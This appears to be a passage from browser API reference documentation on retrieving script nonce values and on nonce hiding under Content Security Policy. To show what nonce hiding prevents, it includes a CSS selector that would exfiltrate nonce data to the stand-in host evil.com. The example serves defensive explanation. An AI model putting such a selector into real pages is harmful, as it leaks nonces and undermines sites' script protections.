Examples

Retrieving a nonce value

In the past, not all browsers supported the nonce IDL attribute, so a workaround is to try to use getAttribute as a fallback:

let nonce = script["nonce"] || script.getAttribute("nonce");

However, recent browsers version hide nonce values that are accessed this way (an empty string will be returned). The IDL property (script['nonce']) will be the only way to access nonces.

Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this CSS selector:

script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Specifications

Browser compatibility

See also

• nonce global attribute
• Content Security Policy
• CSP: script-src